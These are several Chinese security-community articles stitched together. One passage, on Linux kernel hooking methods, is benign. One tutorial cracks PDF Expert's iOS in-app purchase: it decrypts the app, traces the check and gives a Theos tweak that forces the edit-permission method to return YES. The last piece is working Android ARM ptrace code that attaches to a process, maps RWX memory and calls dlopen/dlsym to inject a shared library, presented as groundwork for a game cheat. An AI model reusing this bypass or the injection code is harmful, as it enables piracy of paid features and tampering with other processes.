首先，我们尝试更改系统调用表，以便我们可以覆盖尽可能多的系统，我们甚至成功实现了这种方法。
但是x86_64体系结构有几个特定的功能，还有一些我们不知道的钩子调用限制。 确保支持与启动特定新进程相关的系统调用 - clone()和execve()
- 对我们来说至关重要。 这就是我们继续寻找其他解决方案的原因。
## 使用Kprobes
我们剩下的选择之一是使用[Kprobes](https://www.apriorit.com/dev-blog/467-kprobes-hooking)
\- 一种专为Linux内核跟踪和调试而设计的特定API。 Kprobes允许你为任何内核指令以及函数入口和函数返回处理程序安装预处理程序和后处理程序。
处理程序可以访问寄存器并可以更改它们。 这样，我们就有机会监控工作流程并改变它。
使用Kprobes跟踪Linux内核函数的主要好处如下：
* **一个成熟的API。** Kprobes自2002年以来一直在不断改进。该实例程序具有良好的文档化接口，并且已经发现和处理了大多数缺陷。
* **跟踪内核中任何一点的可能性。** Kprobes通过嵌入在可执行内核代码中的断点（int3指令）实现。 因此，只要知道其位置，就可以在任何函数的任何部分中设置跟踪点。 另外，你可以通过切换堆栈上的返回地址并跟踪任何函数的返回来实现kretprobes（除了那些根本不返回控制的函数）。
然而，Kprobes也有其缺点：
**技术复杂性。** Kprobes只是在内核中的特定位置设置断点的工具。
要获取函数参数或局部变量值，你需要知道堆栈的确切位置以及它们所在的寄存器，并手动将它们移出。
此外，要阻止函数调用，还需要手动修改进程的状态，这样就可以让它认为它已经从函数返回了控制权。
**Jprobes已被弃用。** Jprobes是一个专门的kprobes版本，旨在使执行Linux内核跟踪变得更容易。
Jprobes可以从寄存器或堆栈中提取函数参数并调用你的处理程序，但处理程序和跟踪函数应该具有相同的签名。
唯一的问题是jprobes已被弃用，并已从最新的内核中删除。
**开销太大** 。 即使这是一次性程序，定位断点也是非常昂贵的。虽然断点不影响其余功能，但它们的处理也相对昂贵。
幸运的是，通过使用为x86_64架构实现的跳转优化，可以显着降低使用kprobes的成本。 但是，kprobes的成本超过了修改系统调用表的成本。
**Kretprobes的局限性。**
kretprobes功能是通过替换堆栈上的返回地址来实现的。为了在处理结束后回到原始地址，kretprobes需要在某个地方保留原始地址。
地址存储在固定大小的缓冲区中。 如果缓冲区过载，例如当系统执行跟踪函数的同时调用太多时，kretprobes将跳过某些操作。
**禁用抢占。**
Kprobes基于处理器寄存器的中断和故障。因此，为了执行同步，所有处理程序都需要以禁用的抢占方式执行。因此，处理程序有几个限制:你不能在其中等待，这意味着不能分配大量内存、处理输入输出、在信号量和计时器中休眠等等。
不过，如果只需要跟踪函数内部的特定指令，那么kprobes肯定是有用的。
## 拼接
还有一种配置内核函数hooking的经典方法：将函数开头的指令替换为通向处理程序的无条件跳转。 原始指令被移动到不同的位置，并在跳回到截取的函数之前执行。
因此，只需两次跳转，就可以将代码拼接成一个函数。
此方法的工作方式与kprobes跳转优化的方式相同。使用拼接，也可以获得与使用kprobes相同的结果，但开销更低，并且可以完全控制流程。
使用拼接的优点非常明显：
* **内核的最小需求。** 拼接不需要内核中的任何特定选项，可以在任何函数的开头实现。 你需要的只是函数的地址。
* **最低成本。** 跟踪代码只需执行两次无条件跳转即可将控制权移交给处理程序并收回控制权。这些跳转很容易为处理器预测，而且相当便宜。
然而，这种方法有一个主要缺点 - 技术复杂性。 更换函数中的机器代码并不容易。 为了使用拼接，你需要完成以下几项操作：
* 同步挂钩安装和删除（如果在更换指令期间调用了该函数）
* 使用可执行代码绕过内存区域的写保护
* 替换指令后使CPU缓存失效
* 拆卸已替换的指令，以便将它们作为一个整体进行复制
* 检查替换后的函数是否没有跳转
* 检查替换后的函数是否可以移动到其他位置
当然，你也可以使用livepatch框架并查看kprobes的一些提示，但最终的解决方案仍然过于复杂。 此解决方案的每个新实现都会包含太多的睡眠问题。
如果你已准备好处理隐藏在代码中的这些恶魔，那么拼接可能是一种非常有用的方法来hook Linux内核函数。
但由于我们不喜欢这个选项，我们将其作为替补方案，以防我们找不到更好的选择。
# 有第五种方法吗？
当我们研究这个主题时，我们注意到了Linux ftrace，一个可用于跟踪Linux内核函数调用的框架。
虽然使用ftrace执行Linux内核跟踪是常见的做法，但此框架也可以用作jprobes的替代方案。
事实证明，ftrace比jprobes更适合跟踪函数调用的需求。
Ftrace允许我们通过名称hook关键Linux内核函数，并且可以在不重建内核的情况下安装钩子。 在本系列的下一部分中，我们将更多地讨论ftrace。
什么是ftrace？ ftrace如何运作？ 我们将回答这些问题，并为你提供详细的ftrace示例，以便你更好地了解该过程。 我们还会告诉你主要的优缺点。
等待本系列的第二部分了解有关这种不寻常方法的更多细节。
# 结论
有许多方法可以尝试在Linux内核中hook关键函数。 我们已经描述了完成这项任务的四种最常用的方法，并解释了每种方法的优点和缺点。
在我们的三部分系列的[下一部分](https://www.apriorit.com/dev-blog/546-hooking-linux-functions-2)中，我们将告诉你更多关于我们的专家团队最终提出的解决方案 - 使用ftrace hook Linux内核函数。
有什么问题吗？ 您可以在[此处](https://www.apriorit.com/competences/kernel-and-driver-development)了解有关我们Linux内核开发经验的更多信息。 | 社区文章 |
# 大脸猫讲逆向之 iOS上PDFExpert阅读器的内购功能破解
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
近日，在iPad上购买了PDFExpert阅读器，用于PDF文件的阅读。然而，令人忍无可忍的是在该应用中还有PDF文件的编辑功能不能使用，需要额外付费购买。且研究了两周的ios逆向，迫切需要实战的磨炼，且我的iPad是越狱的，因此想通过tweak插件来修改启用该功能。
本文主要目的是以当前APP的付费功能绕过为主要目的，梳理在iOS应用逆向分析过程中的主要步骤和核心思路，并以此来传播逆向思维。当然，本文所用的工具和技术严谨用于各种非法用途，包括且不仅限于各种黑产、灰产等。
## 一、工具
class-dump：提取可执行文件中的所有头文件
Theos：用于hook代码的开发工具
IDA Pro：用于对可执行文件的反编译分析
Clutch：用于对目标应用进行砸壳
FLEXLoader：用于在设备上分析应用界面元素的工具
## 二、分析过程
### 1\. 定位目标
将iPad的语言切换为英文，便于查找定位相关代码段。首先，打开应用PDFExpert，并随意打开一本PDF文件。在界面顶端工具栏，有Annotate和Edit两个工具按钮，Annotate在购买完应用后即可使用，我们分析的重点在Edit按钮。其界面如下图所示。
随后，点击Edit按钮，弹出如下图所示的界面，提示需要升级。因此，在此做出初步猜测，在点击Edit按钮后，按钮的相应函数中判断当前用户是否已经购买了edit
PDF功能，如未购买则提示购买升级；否则，提供对PDF文件的编辑功能。
因此，根据上述做出的初步合理分析和判断，我们需要分析的目标函数为Edit按钮及其响应函数。
### 2．分析目标
安装FLEXLoader后，在设置中启用对该应用的注入，并重启该应用后在界面中即可看到如下图所示的浮动按钮了。用红色标注的select功能选择Edit按钮后，在views界面查看该按钮的界面元素。
从下图可知，Edit按钮的所属类为RDPDFViewToolbarButton。在FLEXLoader中继续查看该类的详情，发现该类响应UITapGestureRecognizer事件，也即按钮的点击事件。
从下图所示，可知该RDPDFViewToolbarButton接受按钮点击事件，action为tapGesture，target为RDPDFViewToolbarButton类本身。
因此，至此我们从界面UI中确定了我们需要分析的目标函数为RDPDFViewToolbarButton的tapGesture函数，此函数响应Edit按钮的点击事件。
### 3\. 代码分析
从此，开始步入代码分析的阶段。使用clutch对该应用砸壳，并将砸壳后的可执行文件拖入IDA
Pro进行解析。经过漫长的等待，IDA终于解析完成，打开目标函数，内容如下。
从中可以确定，tapGesture函数并未做复杂的处理和校验，而是仅仅调用了函数”sendActionsForControlEvents:isApplePencilTouch:”。通过百度搜索，确认该函数的主要作用是将收到的事件Event发送到其他action。
因此，我们需要找到响应该事件的action函数。为此，我们通过cycript注入到PDFExpert进程， 并通过如下的三个步得到目标函数。
1. cy# [btn allTargets] ：返回当前Button所有相关的target对象，此处只有PDFViewMainToolbar一个；
2. cy# [btn allControlEvents]：获取按钮的所有事件列表，此处只有一个16777216值，即0x0x1000000，对应上文中的”sendActionsForControlEvents:isApplePencilTouch: “函数中的值。
3. cy# [btn actionsForTarget:#0x14d9f81e0 forControlEvent:16777216]：获取针对某一特定事件目标的全部动作列表。
因此，通过上述过程，可得知该函数将按钮的点击消息发送给了PDFViewMainToolbar的”contentEditingButtonTouchUpInside:”函数。
随后，在IDA中打开该函数，其内容如下图所示。调用了[PDFViewMainToolbar
delegate]的返回值的”pdfViewMainToolbarContentEditingButtonPressed:”方法。
为获取该函数所在类，可用cycript注入该APP，上文中我们已经可以获取到PDFViewMainToolbar对象的实例了，随后可直接调用其delegate函数即可得到该目标类，内容如下所示。由此可知，”pdfViewMainToolbarContentEditingButtonPressed:”函数所在类为PDFNewToolbarsController。当然，此处亦可直接在IDA搜索该目标函数，亦可得到该类。
在IDA中定位到该方法，其内容也很简单，调用了[PDFNewToolbarsController
performShowContentEditingToolsWithButton:]函数。
继续打开[PDFNewToolbarsController
performShowContentEditingToolsWithButton:]函数，其内容如下。该函数代码量较多，可以初步确定该位置为核心代码了。很快，我们从Allow关键词即可定位到”toolbarsControllerShouldAllowContentEditButtonAction”函数是我们最终最终关系的核心函数，用于判断是否允许启用Edit按钮的。从返回值的使用上也可以确定，其返回值为BOOL值。
在IDA中查找函数”toolbarsControllerShouldAllowContentEditButtonAction”，可以确定该函数位于类RDPDFViewController中。至此，我们可以编写Tweak修改该函数的返回值为YES，即可达到启用Edit按钮的目的了。
## 三、Tweak代码编写
上述分析过程中，确定了我们需要hook修改的目标函数为[RDPDFViewController
toolbarsControllerShouldAllowContentEditButtonAction]，仅需将其返回值设置为YES即可。
相关Tweak代码如下：
%hook RDPDFViewController
- (_Bool)toolbarsControllerShouldAllowContentEditButtonAction{
return YES;
}
%end
编译安装并重启该应用后，再次点击Edit按钮，很快就弹出了PDF编辑工具栏，已经可以对PDF文件进行编辑操作了，说明我们修改的目标函数很正确。 | 社区文章 |
[TOC]
# 引言
本篇文章具体从代码中做到如何进行ptrace注入，为实现将外挂模块注入到游戏进程中破解手游2048做准备
# 技术概述
主要通过系统调用函数ptrace的功能：
1. 通过shellcode注入模块到远程进程中
2. 利用ptrace远程调用dlopen/dlsym将动态链接库注入到远程进程中并执行相应操作。
下面也是主要实现dlopen/dlsym来进行so库的注入和函数的调用
# 代码实现
**头文件** ：声明函数
/**********************************
* FileName: ptraceInject.h
* Decription: ptrace注入
* ********************************/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
/* 功能1：通过ptrace远程调用dlopen/dlsym方式注入模块到远程进程 */
int inject_remote_process(pid_t pid, char *LibPath, char *FunctionName, long *FuncParameter, long NumParameter);
/* 功能2：通过shellcode方式注入模块到远程进程*/
int inject_remote_process_shellcode(pid_t pid, char *LibPath, char *FunctionName, long *FuncParameter, long NumParameter);
**调试用到的日志工具** ：`PrintLog.h`
#ifndef _ANDROID_LOG_PRINT_H_
#define _ANDROID_LOG_PRINT_H_
#define MAX_PATH 0x100
#include <android/log.h>
//如果不想打印日志可以注释这行宏定义
#define IS_DEBUG
//如果宏定义了IS_DEBUG，那么下面就会宏定义下面这些日志打印函数
#ifdef IS_DEBUG
#define LOG_TAG ("INJECT")
#define LOGV(...) ((void)__android_log_print(ANDROID_LOG_VERBOSE, LOG_TAG, __VA_ARGS__))
#define LOGD(...) ((void)__android_log_print(ANDROID_LOG_DEBUG , LOG_TAG, __VA_ARGS__))
#define LOGI(...) ((void)__android_log_print(ANDROID_LOG_INFO , LOG_TAG, __VA_ARGS__))
#define LOGW(...) ((void)__android_log_print(ANDROID_LOG_WARN , LOG_TAG, __VA_ARGS__))
#define LOGE(...) ((void)__android_log_print(ANDROID_LOG_ERROR , LOG_TAG, __VA_ARGS__))
#else
#define LOGV(LOG_TAG, ...) NULL
#define LOGD(LOG_TAG, ...) NULL
#define LOGI(LOG_TAG, ...) NULL
#define LOGW(LOG_TAG, ...) NULL
#define LOGE(LOG_TAG, ...) NULL
#endif
#endif
**源代码** :ptraceInject.c
/*******************************
* FileName: ptraceInject.c
* Description: ptrace注入
* *****************************/
#include <stdio.h>
#include <stdlib.h>
#include <sys/user.h>
#include <asm/ptrace.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <dlfcn.h>
#include <dirent.h>
#include <unistd.h>
#include <string.h>
#include <elf.h>
#include <PrintLog.h>
#include <ptraceInject.h>
#define CPSR_T_MASK ( 1u << 5 )
const char *libc_path = "/system/lib/libc.so";
const char *linker_path = "/system/bin/linker";
/***************************
* Description: 使用ptrace Attach附加到指定进程,发送SIGSTOP信号给指定进程让其停止下来并对其进行跟踪。
* 但是被跟踪进程(tracee)不一定会停下来，因为同时attach和传递SIGSTOP可能会将SIGSTOP丢失。
* 所以需要waitpid(2)等待被跟踪进程被停下
* Input: pid表示远程进程的ID
* Output: 无
* Return: 返回0表示attach成功，返回-1表示失败
* Others: 无
* ************************/
int ptrace_attach(pid_t pid)
{
int status = 0;
if (ptrace(PTRACE_ATTACH, pid, NULL, NULL) < 0)
{
LOGD("ptrace attach error, pid:%d", pid);
return -1;
}
LOGD("attach process pid:%d", pid);
waitpid(pid, &status , WUNTRACED);
return 0;
}
/*************************************************
* Description: 使用ptrace detach指定进程,完成对指定进程的跟踪操作后，使用该参数即可解除附加
* Input: pid表示远程进程的ID
* Output: 无
* Return: 返回0表示detach成功，返回-1表示失败
* Others: 无
* ***********************************************/
int ptrace_detach(pid_t pid)
{
if (ptrace(PTRACE_DETACH, pid, NULL, 0) < 0)
{
LOGD("detach process error, pid:%d", pid);
return -1;
}
LOGD("detach process pid:%d", pid);
return 0;
}
/*************************************************
* Description: ptrace使远程进程继续运行
* Input: pid表示远程进程的ID
* Output: 无
* Return: 返回0表示continue成功，返回-1表示失败
* Others: 无
* ***********************************************/
int ptrace_continue(pid_t pid)
{
if (ptrace(PTRACE_CONT, pid, NULL, NULL) < 0)
{
LOGD("ptrace cont error, pid:%d", pid);
return -1;
}
return 0;
}
/*************************************************
* Description: 使用ptrace获取远程进程的寄存器值
* Input: pid表示远程进程的ID，regs为pt_regs结构，存储了寄存器值
* Output: 无
* Return: 返回0表示获取寄存器成功，返回-1表示失败
* Others: 无
* ***********************************************/
int ptrace_getregs(pid_t pid, struct pt_regs *regs)
{
if (ptrace(PTRACE_GETREGS, pid, NULL, regs) < 0)
{
LOGD("Get Regs error, pid:%d", pid);
return -1;
}
return 0;
}
/*************************************************
* Description: 使用ptrace设置远程进程的寄存器值
* Input: pid表示远程进程的ID，regs为pt_regs结构，存储需要修改的寄存器值
* Output: 无
* Return: 返回0表示设置寄存器成功，返回-1表示失败
* ***********************************************/
int ptrace_setregs(pid_t pid, struct pt_regs *regs)
{
if (ptrace(PTRACE_SETREGS, pid, NULL, regs) < 0)
{
LOGD("Set Regs error, pid:%d", pid);
return -1;
}
return 0;
}
/*************************************************
* Description: 获取返回值，ARM处理器中返回值存放在ARM_r0寄存器中
* Input: regs存储远程进程当前的寄存器值
* Return: 在ARM处理器下返回r0寄存器值
* ***********************************************/
long ptrace_getret(struct pt_regs * regs)
{
return regs->ARM_r0;
}
/*************************************************
* Description: 获取当前执行代码的地址，ARM处理器下存放在ARM_pc中
* Input: regs存储远程进程当前的寄存器值
* Return: 在ARM处理器下返回pc寄存器值
* **********************************************/
long ptrace_getpc(struct pt_regs * regs)
{
return regs->ARM_pc;
}
/*************************************************
* Description: 使用ptrace从远程进程内存中读取数据
* Input: pid表示远程进程的ID，pSrcBuf表示从远程进程读取数据的内存地址
* pDestBuf表示用于存储读取出数据的地址，size表示读取数据的大小
* Return: 返回0表示读取数据成功
* other: 这里的*_t类型是typedef定义一些基本类型的别名，用于跨平台。例如
* uint8_t表示无符号8位也就是无符号的char类型
* **********************************************/
int ptrace_readdata(pid_t pid, uint8_t *pSrcBuf, uint8_t *pDestBuf, uint32_t size)
{
uint32_t nReadCount = 0;
uint32_t nRemainCount = 0;
uint8_t *pCurSrcBuf = pSrcBuf;
uint8_t *pCurDestBuf = pDestBuf;
long lTmpBuf = 0;
uint32_t i = 0;
//每次读取4字节数据
nReadCount = size / sizeof(long);
nRemainCount = size % sizeof(long);
for (i = 0; i < nReadCount; i++)
{
lTmpBuf = ptrace(PTRACE_PEEKTEXT, pid, pCurSrcBuf, 0);
memcpy(pCurDestBuf, (char *)(&lTmpBuf), sizeof(long));
pCurSrcBuf += sizeof(long);
pCurDestBuf += sizeof(long);
}
//当最后读取的字节不足4字节时调用
if ( nRemainCount > 0 )
{
lTmpBuf = ptrace(PTRACE_PEEKTEXT, pid, pCurSrcBuf, 0);
memcpy(pCurDestBuf, (char *)(&lTmpBuf), nRemainCount);
}
return 0;
}
/*************************************************
* Description: 使用ptrace将数据写入到远程进程空间中
* Input: pid表示远程进程的ID，pWriteAddr表示写入数据到远程进程的内存地址
* pWriteData用于存储写入数据的地址，size表示写入数据的大小
* Return: 返回0表示写入数据成功，返回-1表示写入数据失败
* ***********************************************/
int ptrace_writedata(pid_t pid, uint8_t *pWriteAddr, uint8_t *pWriteData, uint32_t size)
{
uint32_t nWriteCount = 0;
uint32_t nRemainCount = 0;
uint8_t *pCurSrcBuf = pWriteData;
uint8_t *pCurDestBuf = pWriteAddr;
long lTmpBuf = 0;
uint32_t i = 0;
nWriteCount = size / sizeof(long);
nRemainCount = size % sizeof(long);
//数据以sizeof(long)字节大小为单位写入到远程进程内存空间中
for (i = 0; i < nWriteCount; i ++)
{
memcpy((void *)(&lTmpBuf), pCurSrcBuf, sizeof(long));
if (ptrace(PTRACE_POKETEXT, pid, pCurDestBuf, lTmpBuf) < 0)
{
LOGD("Write Remote Memory error, MemoryAddr:0x%lx", (long)pCurDestBuf);
return -1;
}
pCurSrcBuf += sizeof(long);
pCurDestBuf += sizeof(long);
}
if (nRemainCount > 0)
{
//lTmpBuf = ptrace(PTRACE_PEEKTEXT, pid, pCurDestBuf, NULL);
memcpy((void *)(&lTmpBuf), pCurSrcBuf, nRemainCount);
if (ptrace(PTRACE_POKETEXT, pid, pCurDestBuf, lTmpBuf) < 0)
{
LOGD("Write Remote Memory error, MemoryAddr:0x%lx", (long)pCurDestBuf);
return -1;
}
}
return 0;
}
/*************************************************
* Description: 使用ptrace远程call函数
* Input: pid表示远程进程的ID，ExecuteAddr为远程进程函数的地址
* parameters为函数参数的地址，regs为远程进程call函数前的寄存器环境
* Return: 返回0表示call函数成功，返回-1表示失败
* **********************************************/
int ptrace_call(pid_t pid, uint32_t ExecuteAddr, long *parameters, long num_params, struct pt_regs* regs)
{
int i=0;
// ARM处理器，函数传递参数，将前四个参数放到r0-r3，剩下的参数压入栈中
for(i=0; i<num_params && i<4; i++)
{
regs->uregs[i] = parameters[i];
}
if(i < num_params)
{
regs->ARM_sp -= (num_params - i) * sizeof(long);
if (ptrace_writedata(pid, (void *)regs->ARM_sp, (uint8_t *)¶meters[i], (num_params - i) * sizeof(long)) == -1)
{
return -1;
}
}
//修改程序计数器
regs->ARM_pc = ExecuteAddr;
//判断指令集
// 与BX跳转指令类似，判断跳转的地址位[0]是否为1，如果为1，则将CPST寄存器的标志T置位，解释为Thumb代码
if (regs->ARM_pc & 1)
{
/*Thumb*/
regs->ARM_pc &= (~1u);
regs->ARM_cpsr |= CPSR_T_MASK;
}
else
{
/* ARM*/
regs->ARM_cpsr &= ~CPSR_T_MASK;
}
regs->ARM_lr = 0;
//设置好寄存器后，开始运行进程
if (ptrace_setregs(pid, regs) == -1 || ptrace_continue(pid) == -1)
{
LOGD("ptrace set regs or continue error, pid:%d", pid);
return -1;
}
//对于ptrace_continue运行的进程，他会在三种情况下进入暂停状态：1.下一次系统调用 2.子进程出现异常 3.子进程退出
//参数WUNTRACED表示当进程进入暂停状态后，立即返回
//将存放返回地址的lr寄存器设置为0，执行返回的时候就会发生错误，从子进程暂停
int stat = 0;
waitpid(pid, &stat, WUNTRACED);
LOGD("ptrace call ret status is %d\n", stat);
//0xb7f表示子进程进入暂停状态
while (stat != 0xb7f)
{
if (ptrace_continue(pid) == -1)
{
LOGD("ptrace call error");
return -1;
}
waitpid(pid, &stat, WUNTRACED);
}
// 获取远程进程的寄存器值，方便获取返回值
if (ptrace_getregs(pid, regs) == -1)
{
LOGD("After call getregs error");
return -1;
}
return 0;
}
/*************************************************
* Description: 在指定进程中搜索对应模块的基址
* Input: pid表示远程进程的ID，若为-1表示自身进程，ModuleName表示要搜索的模块的名称
* Return: 返回0表示获取模块基址失败，返回非0为要搜索的模块基址
* **********************************************/
void* GetModuleBaseAddr(pid_t pid, const char* ModuleName)
{
char szFileName[50] = {0};
FILE *fp = NULL;
char szMapFileLine[1024] = {0};
char *ModulePath, *MapFileLineItem;
long ModuleBaseAddr = 0;
// 读取"/proc/pid/maps"可以获得该进程加载的模块
if (pid < 0)
{
snprintf(szFileName, sizeof(szFileName), "/proc/self/maps");
}
else
{
snprintf(szFileName, sizeof(szFileName), "/proc/%d/maps", pid);
}
fp = fopen(szFileName, "r");
if (fp != NULL)
{
while (fgets(szMapFileLine, sizeof(szMapFileLine), fp))
{
if (strstr(szMapFileLine, ModuleName))
{
MapFileLineItem = strtok(szMapFileLine, " \t");
char *Addr = strtok(szMapFileLine, "-");
ModuleBaseAddr = strtoul(Addr, NULL, 16 );
if (ModuleBaseAddr == 0x8000)
{
ModuleBaseAddr = 0;
}
break;
}
}
fclose(fp);
}
return (void *)ModuleBaseAddr;
}
/*************************************************
* Description: 获取远程进程与本进程都加载的模块中函数的地址
* Input: pid表示远程进程的ID，ModuleName表示模块名称，LocalFuncAddr表示本地进程中该函数的地址
* Return: 返回远程进程中对应函数的地址
* ***********************************************/
void* GetRemoteFuncAddr(pid_t pid, const char *ModuleName, void *LocalFuncAddr)
{
void *LocalModuleAddr, *RemoteModuleAddr, *RemoteFuncAddr;
LocalModuleAddr = GetModuleBaseAddr(-1, ModuleName);
RemoteModuleAddr = GetModuleBaseAddr(pid, ModuleName);
RemoteFuncAddr = (void *)((long)LocalFuncAddr - (long)LocalModuleAddr + (long)RemoteModuleAddr);
return RemoteFuncAddr;
}
/*************************************************
* 通过远程直接调用dlopen\dlsym的方法ptrace注入so模块到远程进程中
* Input: pid表示远程进程的ID，LibPath为被远程注入的so模块路径，FunctionName为远程注入的模块后调用的函数
* FuncParameter指向被远程调用函数的参数（若传递字符串，需要先将字符串写入到远程进程空间中），NumParameter为参数的个数
* Return: 返回0表示注入成功，返回-1表示失败
* ***********************************************/
int inject_remote_process(pid_t pid, char *LibPath, char *FunctionName, long *FuncParameter, long NumParameter)
{
int iRet = -1;
struct pt_regs CurrentRegs, OriginalRegs;
void *mmap_addr, *dlopen_addr, *dlsym_addr, *dlclose_addr, *dlerror_addr;
void *RemoteMapMemoryAddr, *RemoteModuleAddr, *RemoteModuleFuncAddr;
long parameters[6];
/* 1. 附加到远程进程上*/
if (ptrace_attach(pid) == -1)
{
return iRet;
}
/* 2. 获取远程进程的寄存器值并保存下来，为了完成注入模块后的程序恢复执行做准备*/
if (ptrace_getregs(pid, &CurrentRegs) == -1)
{
ptrace_detach(pid);
return iRet;
}
LOGD("ARM_r0:0x%lx, ARM_r1:0x%lx, ARM_r2:0x%lx, ARM_r3:0x%lx, ARM_r4:0x%lx, \
ARM_r5:0x%lx, ARM_r6:0x%lx, ARM_r7:0x%lx, ARM_r8:0x%lx, ARM_r9:0x%lx, \
ARM_r10:0x%lx, ARM_ip:0x%lx, ARM_sp:0x%lx, ARM_lr:0x%lx, ARM_pc:0x%lx",
CurrentRegs.ARM_r0, CurrentRegs.ARM_r1, CurrentRegs.ARM_r2, CurrentRegs.ARM_r3, CurrentRegs.ARM_r4,
CurrentRegs.ARM_r5, CurrentRegs.ARM_r6, CurrentRegs.ARM_r7, CurrentRegs.ARM_r8, CurrentRegs.ARM_r9,
CurrentRegs.ARM_r10, CurrentRegs.ARM_ip, CurrentRegs.ARM_sp, CurrentRegs.ARM_lr, CurrentRegs.ARM_pc);
memcpy(&OriginalRegs, &CurrentRegs, sizeof(CurrentRegs));
/* 3. 在远程进程内部开辟一遍内存空间存放一些常量数据，为远程进程执行函数调用提供参数地址
* 这里需要知道，我们为什么不直接传递进去常量？这是因为我们现在传递的值是我们当前这个注入工具内存空间的值，
* 相应的内存地址也是我们注入工具的，远程进程是访问不到的，所以我们需要将这些参数都在传递到远程进程空间中去*/
mmap_addr = GetRemoteFuncAddr(pid, libc_path, (void *)mmap);
LOGD("mmap RemoteFuncAddr:0x%lx", (long)mmap_addr);
//参数
parameters[0] = 0;//设置NULL表示让系统自己选择内存位置进行分配
parameters[1] = 0x1000;//分配内存空间大小为1个内存页
parameters[2] = PROT_READ | PROT_WRITE | PROT_EXEC;//分配的内存区域的权限是可读、可写、可执行的
parameters[3] = MAP_ANONYMOUS | MAP_PRIVATE;//匿名映射，表示不受文件支持，下面两个参数可以为0
parameters[4] = 0;//文件标识符，这里为0表示不映射文件内容
parameters[5] = 0;//文件映射偏移量
//调用mmap函数
if (ptrace_call(pid, (long)mmap_addr, parameters, 6, &CurrentRegs) == -1)
{
LOGD("Call Remote mmap Func Failed");
ptrace_detach(pid);
return iRet;
}
//获取分配出的内存区域的地址
RemoteMapMemoryAddr = (void *)ptrace_getret(&CurrentRegs);
LOGD("Remote Process Map Memory Addr:0x%lx", (long)RemoteMapMemoryAddr);
/* 4. 让远程进程执行dlopen加载so库到内存中。
* 这里需要先将dlopen参数中的so库路径传递到远程进程的内存空间中，这样它调用dlopen的时候才可以从自己的内存空间中获取相应常量值*/
//在远程进程新开辟的内存空间中写入so库路径
if (ptrace_writedata(pid, RemoteMapMemoryAddr, LibPath, strlen(LibPath) + 1) == -1)
{
LOGD("Write LibPath:%s to RemoteProcess error", LibPath);
ptrace_detach(pid);
return iRet;
}
//参数
parameters[0] = (long)RemoteMapMemoryAddr;
parameters[1] = RTLD_NOW| RTLD_GLOBAL;
dlopen_addr = GetRemoteFuncAddr(pid, linker_path, (void *)dlopen);
LOGD("dlopen RemoteFuncAddr:0x%lx", (long)dlopen_addr);
dlerror_addr = GetRemoteFuncAddr(pid, linker_path, (void *)dlerror);
LOGD("dlerror RemoteFuncAddr:0x%lx", (long)dlerror_addr);
dlclose_addr = GetRemoteFuncAddr(pid, linker_path, (void *)dlclose);
LOGD("dlclose RemoteFuncAddr:0x%lx", (long)dlclose_addr);
if (ptrace_call(pid, (long)dlopen_addr, parameters, 2, &CurrentRegs) == -1)
{
LOGD("Call Remote dlopen Func Failed");
ptrace_detach(pid);
return iRet;
}
//获取远程进程内存中被加载进去模块的地址
RemoteModuleAddr = (void *)ptrace_getret(&CurrentRegs);
LOGD("Remote Process load module Addr:0x%lx", (long)RemoteModuleAddr);
// dlopen 错误
if ((long)RemoteModuleAddr == 0x0)
{
LOGD("dlopen error");
if (ptrace_call(pid, (long)dlerror_addr, parameters, 0, &CurrentRegs) == -1)
{
LOGD("Call Remote dlerror Func Failed");
ptrace_detach(pid);
return iRet;
}
char *Error = (void *)ptrace_getret(&CurrentRegs);
char LocalErrorInfo[1024] = {0};
ptrace_readdata(pid, Error, LocalErrorInfo, 1024);
LOGD("dlopen error:%s", LocalErrorInfo);
ptrace_detach(pid);
return iRet;
}
/* 5.远程进程调用被加载进去模块的函数。
* 先将参数传递进远程进程空间，然后利用dlsym函数搜索函数位置，最后在进行调用*/
if (ptrace_writedata(pid, RemoteMapMemoryAddr + strlen(LibPath) + 2, FunctionName, strlen(FunctionName) + 1) == -1)
{
LOGD("Write FunctionName:%s to RemoteProcess error", FunctionName);
ptrace_detach(pid);
return iRet;
}
//设置dlsym参数
parameters[0] = (long)RemoteModuleAddr;
parameters[1] = (long)(RemoteMapMemoryAddr + strlen(LibPath) + 2);
LOGD("Func Name：%x\n", parameters[1]);
//调用dlsym函数并获取返回的函数地址
dlsym_addr = GetRemoteFuncAddr(pid, linker_path, (void *)dlsym);
LOGD("dlsym RemoteFuncAddr:0x%lx", (long)dlsym_addr);
if (ptrace_call(pid, (long)dlsym_addr, parameters, 2, &CurrentRegs) == -1)
{
LOGD("Call Remote dlsym Func Failed");
ptrace_detach(pid);
return iRet;
}
RemoteModuleFuncAddr = (void *)ptrace_getret(&CurrentRegs);
LOGD("Remote Process ModuleFunc Addr:0x%lx", (long)RemoteModuleFuncAddr);
/* 6. 在远程进程中调用加载进去模块的函数,这里为了简单起见，没有选择传入参数，所以省去写入参数到远程进空间的步骤*/
if (ptrace_call(pid, (long)RemoteModuleFuncAddr, FuncParameter, NumParameter, &CurrentRegs) == -1)
{
LOGD("Call Remote injected Func Failed");
ptrace_detach(pid);
return iRet;
}
/* 7. 恢复远程进程的执行操作*/
if (ptrace_setregs(pid, &OriginalRegs) == -1)
{
LOGD("Recover reges failed");
ptrace_detach(pid);
return iRet;
}
LOGD("Recover Regs Success");
ptrace_getregs(pid, &CurrentRegs);
if (memcmp(&OriginalRegs, &CurrentRegs, sizeof(CurrentRegs)) != 0)
{
LOGD("Set Regs Error");
}
if (ptrace_detach(pid) == -1)
{
LOGD("ptrace detach failed");
return iRet;
}
return 0;
}
**注入工具的入口文件** ：InjectModule.c
/************************************************************
FileName: InjectModule.c
Description: ptrace注入
***********************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <sys/user.h>
#include <asm/ptrace.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <dlfcn.h>
#include <dirent.h>
#include <unistd.h>
#include <string.h>
#include <elf.h>
#include <ptraceInject.h>
#include <PrintLog.h>
/*************************************************
Description: 通过进程名称定位到进程的PID
Input: process_name为要定位的进程名称
Output: 无
Return: 返回定位到的进程PID，若为-1，表示定位失败
Others: 无
*************************************************/
pid_t FindPidByProcessName(const char *process_name)
{
int ProcessDirID = 0;
pid_t pid = -1;
FILE *fp = NULL;
char filename[MAX_PATH] = {0};
char cmdline[MAX_PATH] = {0};
struct dirent * entry = NULL;
if ( process_name == NULL )
return -1;
DIR* dir = opendir( "/proc" );
if ( dir == NULL )
return -1;
while( (entry = readdir(dir)) != NULL )
{
